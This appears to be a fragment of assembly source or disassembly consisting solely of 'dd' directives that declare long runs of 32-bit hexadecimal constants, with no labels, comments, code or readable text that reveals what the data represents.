dd 6EFFF60Eh, 3C870329h, 0B9B9AF28h, 0C430CB80h, 0CA23CE0Bh
dd 0B8FA9620h, 0D3045825h, 2BC14493h, 0B87FB9FAh, 49750AB2h
dd 11FFFC09h, 865313h, 0ACBC2AA2h, 3A436640h, 6E00B54Eh
dd 2B5F5B52h, 3318ADD2h, 0D078D1C2h, 4E90B83h, 377DF475h
dd 0A7C400B0h, 6440BA36h, 65D6001h, 880DF963h, 1B60FA3Bh
dd 0B7CB11h, 160879C1h
dd 90CAF4DAh, 7804D500h, 76E8F3A4h, 0E349051h, 5F34D2D7h
dd 29910532h, 6FCE1232h, 21A403A2h, 92088AAh, 9FE4EF5Ah
dd 64D8E02h, 0B1109809h, 68110E88h, 809FBC05h, 3EB3E122h
dd 80398BA3h, 8DC2BA50h, 8C10318h, 0A359A5EFh, 2B205819h
dd 0BD1AB8FFh, 0AD270CD8h, 0E2EE7729h, 70A4F3B7h, 0E705DA3Bh
dd 0CA438285h, 4439D0C7h, 22DE00D7h, 329A3DD3h, 4800F0B1h
dd 135AAC4Eh, 7796CD2Fh, 5F11279Bh, 0BB0F9B2Eh, 334D4B82h
dd 0D679DDE1h, 3E85E849h, 838B70ABh, 6000347Ah, 6458804Dh
dd 22D76F8h, 740744B9h, 0CDD7E1FFh, 0C162C08Dh, 273C6FFEh
dd 0ACC5B8CAh, 7D093301h, 71D36820h, 3F2F8626h, 0F4E5F404h
dd 70760514h, 1001882Bh, 8FAED22Fh, 0DD07C78Ch, 71C157F4h
dd 3048816Fh, 6B919803h, 375F53C9h, 9C860049h, 0E4CAB0D4h
dd 0A4AB5C0Bh, 2E117560h, 6CF4ECE2h, 0B9017102h, 80536BE0h
dd 665C3749h, 0ECD94C8Ch, 0B0BD110h, 7504E180h, 0CA017CB7h
dd 0C90AE3AAh, 1989C41h, 0A065B77Ah, 168F8623h, 1F57D983h
dd 4C0DD0F2h, 0F6693B81h, 63F67EEDh, 0D370CDE2h, 336EAF0Eh
dd 0DF1BCB85h, 4C0033BDh, 0E834E29h, 50A5281Eh, 0F50F2FF4h
dd 0F6665Ch, 0AE33FF69h, 8590B0BFh, 82487969h, 0F7198DADh
dd 0FF1CAF4Ch, 60121F03h, 78299B88h, 2D181679h, 980888DBh
dd 7F480700h, 1451B5CBh, 83D70BE2h, 0F194F21h, 6EBFECh
dd 0AF25198Ah, 4EC2B03Ch, 0AF06125Bh, 0B056ACC8h, 2D0B3FE9h
dd 8CC78BB5h, 1300AE65h, 1E889823h, 1066BFh, 150BED0Eh
dd 4B8F5ED3h, 2E318B48h, 0A80B0B52h, 31BB07FFh, 31138825h
dd 24ACA2BBh, 6F6A3E5Ah, 8C4EE860h, 0CC880026h, 0C89E1DC3h
dd 7605AACFh, 58F6DCEFh, 8966DBBFh, 2A00E129h, 0AD10D93Dh
dd 0A5C24009h, 850D3164h, 0E67FB8F1h, 0E91CF043h, 0B7939229h
dd 0DA48135Ah, 59903671h, 26612070h, 0C4AEC74Fh, 0CCB6AE57h
dd 8B54F6E0h, 3D94B52Dh, 3F138113h, 70E5EAF7h, 2041D98Eh
dd 4B29B693h, 4F56022h, 1020EB7h, 758DD8Dh, 0B3F2617Dh
dd 93E4BB49h, 72888D56h, 3A7FC3Ah, 6D9920D1h, 86EBAE6Bh
dd 38FCC598h, 0F98B1517h, 4463D03h, 856A6901h, 0EEF5D343h
dd 28402F84h, 1D2D126Ah, 26DB0058h, 225E3C5Dh, 0C67E6C53h
dd 0FDF7DF51h, 0E05F0208h, 52FF01D1h, 0BF3AC3B5h, 2051A12h
dd 23159D0Ch, 0A84E6800h, 640C483Fh, 4829FC50h, 0B31763DBh
dd 0C720BF9Ch, 7C20ABB1h, 0D18D270Ch, 34B2498Eh, 0C596061Eh
dd 4CC5C303h, 2DA2810Fh, 50311066h, 3B6808D8h, 0FE10D667h
dd 45268532h, 0C4611456h, 0C5FD7F78h, 8D85C711h, 7461AF3Eh
dd 0AC00DCA8h, 317D19F2h, 58F0BF58h, 69416C96h, 0BC2AC735h
dd 6BAE4ABEh, 58030F44h, 0B9DFC157h, 5BEC2E40h, 0B34E70E9h
dd 0AFA8D8F1h, 8F0F3917h, 0E4AF5E24h, 570050BDh, 0AB9B7353h
dd 7AA5EF35h, 0C30265Fh, 0C9441C6Ah, 2A0FC101h, 0C1020E59h
dd 0A85DFB4Ch, 0EBE70D93h, 4DE3636h, 16EE3964h, 29501B33h
dd 18214028h, 113CD58h, 0C01B0957h, 0B19CC08Bh, 0AC0309DCh
dd 0D9F5F439h, 0EF810042h, 169ADBFh, 70AE53BFh, 0C5014B2Eh
dd 0FB92A377h, 432853CDh, 0EB187E80h, 0B9E26939h, 9B283803h
dd 0E8A68CCEh, 0F5BCB610h, 30FC891h, 0C5D667FCh, 0C448F014h
dd 31CC0F96h, 0FFA2B219h, 3DC15F5Bh, 84A972DEh, 0F634A885h
dd 51EAA113h, 7ECC6722h, 85170147h, 0FDDD23D9h, 5F5C8730h
dd 2A4B09CAh, 5474657h, 62356433h, 0DF92809Fh, 6E00EBA7h
dd 4B532F79h, 982D9EE8h, 4C8C45CDh, 0B31E464Ch, 1942FC95h
dd 0DF37DA6Bh, 77717AC4h, 0DBF6E579h, 516A3800h, 0FB4F9DE3h
dd 0C75F26E8h, 0B0B234BEh, 0C4111E3h, 4582E430h, 49233803h
dd 0DE91199h, 0C69E7300h, 0D31BF1A4h, 20814402h, 0FB58EBA9h
dd 7CFCAD33h, 745D65D4h, 319504F8h, 0F22DF50Bh, 1A50CAFFh
dd 8C5B5584h, 169DD058h, 2F152AEh, 0AA4E1E06h, 21D538C0h
dd 0BC2B4082h, 77D20136h, 8689FC8Ah, 0F438FC4h, 2D8CF3BFh
dd 0E1B52A09h, 0C28300F9h, 797FBB04h, 89142F5Eh, 0C0F42050h
dd 63486B77h, 1FA40014h, 0BAD566AAh, 0BF1C4E6Dh, 0B2530DD6h
dd 0BE06FE05h, 19B286E3h, 5CACE830h, 0B2C846Ch, 168509C2h
dd 0CD6B7D59h, 49A04F8Ah, 0A4CCBB3Ah, 0D0CB8103h, 4C0ADD3Bh
dd 49763D4Eh, 0CC960111h, 23925031h, 0D670CBBBh, 959D1223h
dd 6DAD290Ch, 580BB885h, 0A912D751h, 1617B71Ch, 12C830Fh
dd 79EB00D8h, 98D3AF82h, 5F4ACC58h, 342205CAh, 96D98B16h
dd 556D849h, 0D0875FA2h, 98AF5899h, 0F09656D0h, 0E2C610F3h
dd 854A912Bh, 0E5181B71h, 274D9101h, 0EBD57178h, 8041302Bh
dd 32AC67DFh, 50FB73BDh, 5F0489C8h, 0EE061E51h, 0B2B54A85h
dd 0A120352Ah, 4282ACEh, 7F5BBD87h, 17D0BED8h, 4578580h
dd 91FBD85h, 0A32A595Fh, 0F8D778C4h, 0C8AE7309h, 4D5182FFh
dd 2960020Dh, 89155E61h, 19028CD7h, 132B610Bh, 80E0DB60h
dd 346D98EEh, 809695CDh, 71DFFBB7h, 56E27E4Bh, 3EE50C00h
dd 0EE0B307Dh, 672A0F16h, 1B485C8h, 2C1184EAh, 89D6E574h
dd 276D855Ah, 58A9E917h, 78EAB3B9h, 2909230Ah, 5A3485B5h
dd 0D4DE95B5h, 0BCAE01D6h, 920DEDF0h, 91A2CBB5h, 2B6AD456h
dd 0E9310313h, 0E37A90FEh, 19210F29h, 741EA082h, 0F0125Fh
dd 4599BBE3h, 50614A23h, 491E5378h, 5B52CBC9h, 0D5F0C8A6h
dd 3CD6F5F9h, 0BD5B2AC7h, 5F181C4Bh, 0F9F38666h, 373DECD1h
dd 5606AF9Dh, 4504DC9Dh, 0C5A4CA70h, 290193C2h, 0DFBE1058h
dd 0F36D09DCh, 95024543h, 0B091AA9h, 154487h, 61AA80EFh
dd 0C1C05B59h, 3497AC0Eh, 4692BE8Fh, 6BB399E4h, 0B66D8280h
dd 0DA116AC0h, 40B21FF5h, 0CD31D3ACh, 2967415Bh, 0C3810009h
dd 6B6778B3h, 92026C26h, 645C1725h, 0D4B7F7EBh, 70B97101h
dd 58B9259Eh, 84CE1A25h, 0EA816000h, 4B109140h, 0FF6116F9h
dd 82BD9BD1h, 79CDFA8Dh, 867C00C0h, 5C765952h, 446A5D00h
dd 3F8EF4FEh, 0FABC12D8h, 8D90E246h, 0F92A3D60h, 96AACFCh
dd 9D89847Dh, 2CA58EBh, 0BCC75940h, 0C450B125h, 5EA10092h
dd 0D2C0368Dh, 583C79F1h, 1FD51CF7h, 6C76A981h, 72417FBh
dd 2C32BBF9h, 50F53D42h, 0F5E9E560h, 0C1383E3Dh, 56F66140h
dd 728B0E4Bh, 919D4110h, 503ACB2h, 8D09C0C7h, 3085FE99h
dd 80F89BFBh, 4617C52Bh, 9D754BECh, 0C0345A6Ah, 2A857FC2h
dd 52DBE25h, 53D88B50h, 2416F9Eh, 547E02C4h, 0E7DF81C8h
dd 652ED3ECh, 0DDF10458h, 0B7FDFA16h, 9ABB66C1h, 37352E2Ch
dd 81979BFFh, 0F5BE6C8Bh, 5A37DCC8h, 0BCFB204Bh, 8800280Fh
dd 6358150Eh, 9FC4D24h, 16558560h, 0B7274AFEh, 0F2A118C8h
dd 980829D3h, 921A8F0Fh, 15B9D0E8h, 7007759h, 3C8EB3B1h
dd 12EB05E1h, 4131E94h, 0B15C1F4h, 4DAA825Fh, 603FEF0Ch
dd 7EAC528Bh, 7755DE58h, 0DB1268B3h, 101889E6h, 0F8B71D01h
dd 311AB070h, 56E28185h, 9D23048Ch, 0E6F3D699h, 921FEB00h
dd 0B58971E4h, 256AB6CDh, 4CE88369h, 1041EDF5h, 0D3851F2Bh
dd 81F8E280h, 0CA04EF2Eh, 652E3FF9h, 788B096h, 6D2033B0h
dd 9D8C951Dh, 13D2055Ch, 9554C0BFh, 0C8891701h, 40089B90h
dd 2A40DDAFh, 21D15A8Bh, 0C0F428EFh, 0B200CBF6h, 0FF7040C6h
dd 127D1D30h, 249F8EDh, 5BC70F4Ah, 698E58ACh, 850943B9h
dd 1E5AD9B9h, 8295A055h
dd 46F6B3ADh, 86A83C3Eh, 0EDD0010Eh, 9D762820h, 230D46A4h
dd 34E168DDh, 5FCCF5C2h, 0D4D03B2Fh, 0B9E66C04h, 60E92140h
dd 96BF1733h, 4E064552h, 3B1BD89h, 58D1191h, 0CED24A2Ah
dd 0A5FC2719h, 0FE100FA5h, 3B3D95E6h, 4A6B66D0h, 9050BAD8h
dd 0FD5CB8F9h, 4F080115h, 203C3172h, 0BD180157h, 9D4B1C39h
dd 2592BEB9h, 2F93C966h, 125B9E78h, 2D7694Fh, 0EAB9FB56h
dd 0D525525Eh, 2389C3B5h, 0D3D570CAh, 0D96B8CD0h, 2BE1B8F4h
dd 0A500AC7Bh, 37E36325h, 0B304D3F8h, 0D22BFAF0h, 2E151481h
dd 0F199AC04h, 322880Fh, 0DE3AF52Ch, 5E2491F8h, 1930030Fh
dd 247DAFBBh, 89E32825h, 0A87149B3h, 0F1950904h, 752B81B1h
dd 26DAFA8Fh, 95281280h, 3F005363h, 0F3BB3437h, 97697611h
dd 0B0E2921Ah, 4E5C8156h, 65489788h, 848F3487h, 2E19B14Fh
dd 33B846E9h, 0CA724C01h, 0BC69122Eh, 1203EF70h, 0E243CB59h
dd 0A83B88B7h, 8A22F8B6h, 32D5EC1h, 0DCFA85B8h, 0D30075DBh
dd 0B526433Eh, 94C86CEh, 0CC0F2077h, 560A627Dh, 58026996h
dd 0FF0123CDh, 0EB2009E1h, 5D1C9716h, 0DA4E1E43h, 0BABE80BFh
dd 4BB765B8h, 22608ACCh, 41ADB40Bh, 0F0EE8F3Bh, 353B381Ch
dd 0A5CB81DEh, 539721BBh, 14B1BA88h, 58E25F12h, 5A6AD88h
dd 804E0511h, 60AF3C00h, 2BA3795h, 19CF808Dh, 15C93760h
dd 2F4F5682h, 13DC6FF6h, 9107FE7h, 6A70FE04h, 0C24CA695h
dd 0CD1AD729h, 2EFAE143h, 0F7800830h, 5D6C90C9h, 6E4EA8DAh
dd 2132008Eh, 780E3568h, 3B44D43Eh, 0B31B2D12h, 81B784E5h
dd 4A7E24B8h, 0CAEC856h, 0F3B188h, 0E2099767h, 28A5663Ah
dd 8B227E17h, 46D7B417h, 671D9E04h, 6E09B670h, 925B585Ah
dd 62CFA38h, 77F311BBh, 2AE3207Ch, 84FB2137h, 77AD2262h
dd 0F11AE9C4h, 0B83E2D79h, 62313B27h, 76646A25h, 80E1B797h
dd 7B68B72Ch, 9F09BB7Dh, 596EC035h, 0C9519295h, 2FB92A3Ch
dd 0D078A080h, 3F016C3Ah, 0B997D716h, 342B5F2Eh, 0F6AA92h
dd 83AF72B0h, 0D6C2B912h, 8FA33412h, 0F0C72948h, 0F42E90FDh
dd 0D4E424FEh, 0D3C39A03h, 0F1EE29ACh, 82798932h, 0A4008BBCh
dd 6F419464h, 12CB95C0h, 0F7E1B30Bh, 0AC8A4DA0h, 141990B5h
dd 0E68EF0C7h, 8C9DE16h, 60964988h, 163788h, 0E144331Dh
dd 0DD645BFDh, 0ADAF41EFh, 0EF2CA62Fh, 0FA5850Ch, 0EA819561h
dd 2F526050h, 59CD5D20h, 1AA300FFh, 0FD3F469h, 5B1F4539h
dd 5F65582Ch, 97548412h, 5282046Dh, 0A8B32434h, 4D6BE956h
dd 0DEA3C035h, 604A2A6Dh, 959630FEh, 0BF8005C1h, 182E08Ah
dd 6B686128h, 30EEBE25h, 814CDE43h, 82943A22h, 8DF81160h
dd 0F9BBD985h, 9371819h, 889955D6h, 0D866548Ch, 0E4BE5F75h
dd 0AD327E40h, 909C726Fh, 260304E6h, 0D47836F5h, 0B87ABD69h
dd 0C70100F7h, 5227477Eh, 1D4D9D03h, 255E5CD9h, 0B846CE05h
dd 611640ACh, 3585010Dh, 3D2B0E2Ch, 186A3B4Ah, 0FA8F0700h
dd 58763D57h, 0FB658A07h, 31F4BD23h, 38EAF625h, 0B5F95F48h
dd 0EC07E1E8h, 110B099Eh, 3BE99431h, 628B6FC2h, 0E8E11A15h
dd 3C6B2E28h, 0B3301DE2h, 0F65F01F8h, 1F813DD8h, 81042FE1h
dd 0A21329B9h, 0E31F7546h, 5400C2AAh, 5BC791Dh, 0D551BF58h
dd 0B4B80307h, 134DC5C0h, 0F9AA00C8h, 740C2E5Ch, 0CB0BC005h
dd 961E3E94h, 0E5851262h, 77357B04h, 6A1C9BF6h, 0A684B552h
dd 2F8BF054h, 0E704B313h, 0A3E0A7ECh, 96C22E1h, 8844EC07h
dd 0F589BC53h, 40B0EF2Ah, 40E53698h, 9F4D9904h, 0BCADFCEAh
dd 40FC2AD0h, 0FCB37F00h, 3848BAEEh, 0D6A4E8h, 9E6ACF88h
dd 8D46E6BFh, 0D8532E00h, 81CA6770h, 1D37016Eh, 0F88BAD2Ah
dd 5D352E5Bh, 96E07AF6h, 59052AC1h, 58CAAC9Eh, 921F1CACh
dd 0D764E584h, 0AC364100h, 33784922h, 62E70FB1h, 50402C69h
dd 6898037Fh, 0E9AD20B2h, 0B74ED5E0h, 0A5715CCAh, 22C8952Fh
dd 114A4D9Dh, 188874DDh, 64A50EA1h, 0E6DBBF8Eh, 7315C870h
dd 57B306F2h, 1F09E8FCh, 326BF100h, 0E7D04F8h, 86724A30h
dd 0B512CCCBh, 0C2E22071h, 32ACF4D5h, 0B5DCF0E1h, 0D221BC0Fh
dd 0C0C97328h, 342BA159h, 658204CDh, 0CBB1120Ch, 0E8CEB92Eh
dd 1E9FE85h, 46320148h, 383FFE11h, 5BBC08Bh, 9758928Fh
dd 0FE58EC09h, 7DEA8995h, 0A46046EDh, 0A633BAEh, 0EC5E1E99h
dd 4BD08FCh, 60F7C02Dh, 7BDF0681h, 0F013FDCBh, 4B155120h
dd 2D0DDD61h, 15CA883h, 5ECB640h, 2A9B5208h, 440086B9h
dd 5CC4DE68h, 18005A0Bh, 8B8EC807h, 2C2A894Dh, 8D26DD1h
dd 5F171951h, 352E6EE1h, 0E763A629h, 0C17A5EC0h, 425960A6h
dd 170C82BBh, 2E914C95h, 4AB68D0Fh, 0F03660D0h, 7C001E87h
dd 5C865EF8h, 2BA75CDh, 2F4D290Dh, 0FF93BA7h, 2B4FADAAh
dd 0B672A589h, 6FC4BF00h, 0BDAF8C0Dh, 78001078h, 43272ED9h
dd 96C93E99h, 0CF083E97h, 0FE2A2029h, 5655F552h, 0CA6FF045h
dd 79E50119h, 0E01A88B4h, 80C83882h, 0B0ABF85Fh, 75E00DBh
dd 1F0C877Eh, 144AE582h, 0B8B42AB4h, 70AC1EEh, 2F3F8673h
dd 28B6961h, 2ADEB311h, 25B57A61h, 6D9C55C2h, 3811644h
dd 0EE652CF7h, 1A70500Ah, 183238Ah, 0B45295B5h, 14B218E6h
dd 520FF830h, 5353928Fh, 2BCAB100h, 6258DE94h, 491DA401h
dd 0B0A188E1h, 9510E6F8h, 1897514Ch, 54858966h, 4F0FFF69h
dd 0DB4E3082h, 0B9D39E7Eh, 0FC03717Eh, 4CC5BEBCh, 8EBC4ACh
dd 56960794h, 34EF3342h, 25AC765Fh, 0B0A17FC6h, 4B922C2Dh
dd 6338828Ah, 81979E5Bh, 848F31CAh, 10339CF4h, 8415059Dh
dd 9C1B2D01h, 0C2751BB1h, 5525515Eh, 0FF9ED4B5h, 5903FDDCh
dd 88609934h, 7A9C5BAh, 8B610D9Ch, 5E7939CAh, 70675DE9h
dd 78F88CE4h, 2D9B792h, 0A8978032h, 842EC3B2h, 9B5A4EBCh
dd 4C37848Eh, 5EF5D7C2h, 0CD7F494Eh, 0B84A60E1h, 98062215h
dd 0FE9DEB1h, 30B0001Fh, 0BE875064h, 4007F87Eh, 13B5BDB2h
dd 5FBC41C4h, 293AD9D4h, 0BB0450C0h, 7C030892h, 3BFDAB0h
dd 42FDD3DBh, 0BBD48529h, 6F2AAFE1h, 0FAEF04DDh, 2FBCF5B7h
dd 48BC0F1Bh, 0AD5E9013h, 0CB9DDBAAh, 8801009Eh, 48F2EB1h
dd 1E2042BBh, 0EC32BD16h, 0A71D1F62h, 0FBC7C0B9h, 501F3774h
dd 8EFE8B2Ah, 1ADCB3B6h, 3CE7857Ah, 0E38D8955h, 5EADC579h
dd 0C809C2BCh, 79D2DF80h, 784CAB24h, 81919E98h, 9DB12980h
dd 6D69C5h, 7746807Bh, 271B65EAh, 0F2E9897h, 35086C81h
dd 0C08A020Ch, 95D1FF41h, 4FD60556h, 0B1D4C582h, 21282E6Bh
dd 47618A66h, 0F1707E1Eh, 0E62DA5h, 0FF430D84h, 18AF816Dh
dd 9F714201h, 0CF3F5BEEh, 1ECD5230h, 6561C8CAh, 4C901FE0h
dd 89026A09h, 0D56C938Dh, 0F650A7D2h, 0C6A207ADh, 0CF80B15Bh
dd 0C2DD2EBBh, 38726A6Eh, 0C2BC02FAh, 578AE9FBh, 6820991Ch
dd 9595B2ADh, 47C20C6Dh, 4DF74084h, 85C822Ch, 7CBFE46Ch
dd 0B8507658h, 95DD706Eh, 1A321FC5h, 0DA891125h, 1B44B96Dh
dd 210F2B60h, 3694A304h, 0E3EABFB9h, 2415836h, 9589F171h
dd 0A79DF631h, 0A6559061h, 7109B411h, 0AE4DD510h, 80EE52E0h
dd 4C0E5CEBh, 1317CE0Bh, 0DABF9402h, 4C47D5Ch, 7C708B49h
dd 59F721A0h, 0E61F6209h, 1AE65F70h, 1023D948h, 0E40318E9h
dd 0E7C38171h, 2E4C1C89h, 0B0DA7F48h, 0E194A87Ch, 0FD290825h
dd 855873A9h, 0F62DDC81h, 8EE5F15Fh, 0C149DE8Bh, 0D413FC99h
dd 55005E79h, 9A30E6D1h
dd 123276B7h, 0E1AC7415h, 40862E86h, 8688954Dh, 0DACDAF20h
dd 0C82B2480h, 0DBD381h, 8B2DAE84h, 0A5B509D1h, 0BA280441h
dd 0C9BD2382h, 0CC0D84Ah, 318019F5h, 10C5258Dh, 0B4817AC4h
dd 0C30CADDEh, 31EA108Ch, 5B5F1221h, 841169E4h, 45A99D3Fh
dd 0D95829FEh, 78FD2EF7h, 0E2DF929Dh, 0C242266h, 251DBD89h
dd 17A0A587h, 951229FEh, 6BE5267Dh, 41495C05h, 41717104h
dd 39180EC5h, 4C0ABC9Dh, 46003352h, 0BB66A993h, 4CC21B2Dh
dd 5C8FF380h, 376A82h, 4FDCC13Ch, 74E9DB9h, 0DE178393h
dd 0FAFC4BE6h, 137E1C6Bh, 0F6FCD4BFh, 4C0DE090h, 4F030184h
dd 271EF01h, 7292329h, 7882F820h, 0E81C2AB3h, 23A8BEh
dd 0B8C2131Fh, 8E0FC02Bh, 79382B95h, 891AC11h, 2B09223Dh
dd 71D2F3D2h, 3EDAC068h, 2C258400h, 9D033F28h, 9B0B4BBDh
dd 2C9B4AA8h, 6F543389h, 0FC4C442Ah, 8C1BE848h, 93C8D200h
dd 69C26AEBh, 2D04B74Ch, 0BFB2120Ch, 809ADB5Bh, 0E92B351Fh
dd 0C8991315h, 0DE51CD60h, 19C2B960h, 0D9186862h, 0B861041Fh
dd 1BB6D2C1h, 665177E0h, 0BD2B420Eh, 564A7A39h, 0B79D56E3h
dd 0F1720F7Bh, 2F83F22Fh, 1A5A890Fh, 0CD008F7Ah, 96123D9Bh
dd 4D259092h, 11F2C530h, 4B805852h, 0F5C30630h, 0B9B87057h
dd 11724351h, 54E1DD90h, 40F79500h, 37539BFBh, 0F123EA68h
dd 40F1EAh, 80185DEAh, 6C01D27Dh, 1971F497h, 69F05572h
dd 121EEC15h, 0F35F22DEh, 0D6F44B0Ch, 254C90E1h, 9E70F6Dh
dd 5F543A11h, 0FE1EA10Ah, 3FF1282Eh, 351116A8h, 849529ACh
dd 6047F6DCh, 0D69E209h, 56C9B25Ch, 0F609D46Eh, 274A1A4h
dd 0B2F3587h, 0A6003544h, 0DE1B36D6h, 40A815h, 70CB8182h
dd 5F1FFCEEh, 8CCB0D97h, 204E5632h, 99649704h, 7E0184E2h
dd 4B26A166h, 9AEC423Dh, 34A92CB3h, 194D082Fh, 0EEE45B12h
dd 0D90141ADh, 14FB6282h, 739DF98Ah, 0D47EBA95h, 0E912D4C3h
dd 0ACF88B6Bh, 0D620AD92h, 7EA17CF6h, 0B2F0F460h, 1F495918h
dd 9761CAAAh, 82620182h, 0B2826D58h, 3098B8C4h, 6A4E3972h
dd 0AF00E26Fh, 61BC75B7h, 6002ADBBh, 313D2FBAh, 42B7C215h
dd 6221FE07h, 0FB751BADh, 0D091FA0h, 2E291C5Dh, 0E33C6329h
dd 29BA8980h, 6D016A3Ch, 7456B53Eh, 0A93A2C97h, 502A130Eh
dd 3718D0AFh, 1925812Fh, 0B37EE822h, 5D20ED63h, 0C15804BEh
dd 886113D2h, 7596E84Eh, 643B2980h, 47C47BDh, 850F7273h
dd 0B1E6EB15h, 0E774660Fh, 836AADC4h, 25E8235Eh, 0E3051460h
dd 585FCE36h, 0E3B8C6A9h, 0C0F5E000h, 26C781DBh, 2BC1256Ch
dd 0EF9C8466h, 0B40902DCh, 78708398h, 2C393F40h, 0E441CD95h
dd 0F1F76016h, 20E0B8E4h, 9122211h, 0B3C0CDB5h, 99015BE9h
dd 0DE3049Ch, 0CED9BC68h, 5BFBE452h, 0F9CFB8BCh, 0A794B545h
dd 0CF83B0B3h, 0A6E103BFh, 669860F9h, 0AAB36812h, 8007A4F3h
dd 59894BDBh, 1B596A7Bh, 72024B18h, 21AE6ABFh, 1E18750Ch
dd 9877AC34h, 0E41B1679h, 0FA50777Fh, 0C2FE52BDh, 1ACD85CEh
dd 446CAA2h, 1FB54F60h, 0CC2B9681h, 4E01C2CEh, 0CF9A58A6h
dd 0F520C68Ah, 965B2F52h, 0AD034F44h, 1B16548h, 1A4188F9h
dd 5F98977Fh, 8200D781h, 6808D27Ch, 5E0AEEA5h, 5244CC24h
dd 3FE05F4Ah, 15ED3F5Ah, 13656ECFh, 4404C871h, 58BCE93Dh
dd 499D0BC2h, 4FF480A9h, 0DC1B9C60h, 7C400062h, 7DF1AEBAh
dd 0B0BE099h, 7AF59ABEh, 2CD9DF2h, 0FC2760CEh, 13C5482h
dd 974C7E7h, 2F31A59Dh, 0BF0F3870h, 0D76158FAh, 55BE4CC0h
dd 39002031h, 2E337FC0h, 1969A59h, 0FD15C4Ah, 2F97BAF7h
dd 0CA61482Dh, 402476FEh, 0C6F1D5Ah, 0E003C700h, 0D75094D5h
dd 0B4FC0161h, 7D067F2Dh, 0A5CE208h, 621FFC52h, 0FADB48E9h
dd 0B76C8D8h, 1CAC387Dh, 0D9A4E651h, 25352908h, 9D5C25C7h
dd 3B09EBE1h, 5931AADh, 8825BD32h, 0FF7F9B7Ah, 0E88AFA4Bh
dd 0C2A66021h, 0D59252D6h, 805337CCh, 0BF42D324h, 0FEB524h
dd 31C6106Eh, 140C61B5h, 0CAE23297h, 69BB5450h, 0E19C482h
dd 59885B09h, 18C1819h, 1722D79h, 3096F834h, 0FE1D8B3Ah
dd 0BF5E310Fh, 0E3D5104Eh, 0FE585A5Fh, 0B1DA7B90h, 3D97809Bh
dd 8A7CB036h, 0BAA49100h, 899F4206h, 511825B4h, 18640A4Dh
dd 9DF53067h, 0CE95B3A1h, 8255770Dh, 8F40C4DCh, 9058CCh
dd 0C2C694F3h, 0CE6B4D2Dh, 3DF55C2Eh, 85A7A36Eh, 20A0DF42h
dd 7C0C341h, 79D0CD99h, 0D198C1A9h, 30BB595Bh, 9025CF74h
dd 118733Dh, 762C3AD7h, 4B342E7Ch, 0FA59CC1h, 2DB72D6Bh
dd 11A88Bh, 60CA64B2h, 7FDD7883h, 29BD0109h, 7966D70Eh
dd 5ED9C800h, 0A6A076B5h, 8CE3068Ah, 900396A5h, 5B4BA4A4h
dd 6EEA6A84h, 2F0C00DCh, 687C2E4Ch, 45E12C6h, 3B8CE10Bh
dd 75049D6Eh, 0AE92A6B8h, 68C8FD16h, 0D740094h, 0B98AB433h
dd 0FD04E05Bh, 14A69284h, 0D2DF87B8h, 6946E1F9h, 13BEC6Dh
dd 78AAB1ACh, 2070EF9Ah, 29BF212Eh, 5ACD5F57h, 0EA1C7DC0h
dd 1460F79Ch, 0B86604FEh, 0B961B7E4h, 8C14AC1Ch, 24EA124Eh
dd 20D1B84Eh, 7CB09513h, 0B40FDBDh, 2C40BBBh, 3C8A3C3Ah
dd 0B9B209F4h, 0FACF8EF9h, 2EDA5714h, 0CA93B900h, 36C690C5h
dd 318F420Fh, 0DF8B3A5Fh, 0E66C852Bh, 45C0E4DFh, 4A093684h
dd 6AA6B585h, 1AC80F9Ah, 0E22EE0CEh, 5A8B64F9h, 5F0BB7B3h
dd 0DA005C6Ah, 8BC547FCh, 8012FF72h, 9CE2D4F7h, 0F62F9493h
dd 0A0C5E328h, 0C2918EAEh, 0BD891430h, 0C272B662h, 3CC5DA4Eh
dd 0CA8067DBh, 8A9C1CCFh, 22B8B113h, 0FA2533B6h, 290A9BC6h
dd 0C6103985h, 0EAE78150h, 72602DBEh, 5300E844h, 95878DE9h
dd 26FB1438h, 29A2F3Fh, 5BBB39DFh, 717B1D5h, 8B292310h
dd 58CFC600h, 44BF66FDh, 8A5F4B46h, 77722783h, 1000DFBDh
dd 3067C673h, 1BEA0115h, 0DF80DC52h, 3E643803h, 0F92041BDh
dd 8B049719h, 146BAF61h, 38001A23h, 5BD92F9Fh, 0BBFF0740h
dd 6EFE198Bh, 0A1C99D85h, 0B90F2BD2h, 70F52929h, 9296958Ch
dd 0C256E925h, 87B1B763h, 497D23A6h, 0B692802h, 91B31F57h
dd 0CDD48017h, 0D653115Dh, 5BB6D0CAh, 0E81368BFh, 0D9EA54F2h
dd 0EDB82E60h, 901227FCh, 2201A1C8h, 2AFB9965h, 0B51822Fh
dd 5852EB2Eh, 4B42906Eh, 0AC24BB60h, 13F5E3EFh, 2B49559Dh
dd 0D7CDD56Ah, 7FAD82E0h, 53A31886h, 13F5596Ah, 0CAF00B83h
dd 0DA5B18BCh, 13641E78h, 955F176h, 18985FEh, 5849BD56h
dd 9DD0EC2h, 5049B390h, 3D701DC4h, 0B78D990Fh, 0F605F6C3h
dd 77012E81h, 2B5FBB66h, 464D0CA5h, 0EEC6AC2h, 825C2DE9h
dd 0D53D42EBh, 0D175E33Ah, 828CF867h, 651456F8h, 48ADDFFFh
dd 0DBFA983Eh, 4E087D28h, 906EAFD1h, 0F8133D00h, 18C5823Fh
dd 0E9625862h, 71585C01h, 0E037377Ah, 4C4173h, 1B06C538h
dd 8B67B48Eh, 26AF917h, 0BC00506Fh, 5FE6362Bh, 0BB2875D4h
dd 0F317EB90h, 5388508Bh, 0DB4F03FDh, 60AA89Fh, 0F0B9F1D8h
dd 0BBCCC000h, 5C94B12Eh, 1904975Fh, 0A2AD5221h, 9BE9A698h
dd 893C795h, 0FC1DBCD4h, 44ABF7C1h, 0DB304EA3h, 9D2BEB41h
dd 0AB9A2E59h, 8A4EBEC0h, 5725321Bh, 0DFF4C3F9h, 4A50F452h
dd 8461B7ECh, 0A8534D8Dh, 60C58074h, 2858F4h, 5467DABBh
dd 4E331F03h, 6A40A52Eh, 73A28212h, 66278021h, 0DF8C432h
dd 87BAB9CDh, 25A49D03h, 0CD9782Dh, 0A0304F3h, 4B7D70CFh
dd 41A38D61h, 2909A1FCh
dd 0A87880ECh, 1DEE6B2Dh, 0C27FEFAFh, 1CDE30EAh, 0F6C14E92h
dd 6A5F10E5h, 2CF698FFh, 42E11C25h, 48F30D49h, 342F16D1h
dd 88B6ADF2h, 0FE0B993Eh, 87B00308h, 20590BBFh, 6070E6FBh
dd 15B51A03h, 0F7E83922h, 0D90084F2h, 0E723F0D2h, 1EC6EB4h
dd 0FBA50BDDh, 3C71E461h, 0D47080D8h, 53EC24h, 0C207E36h
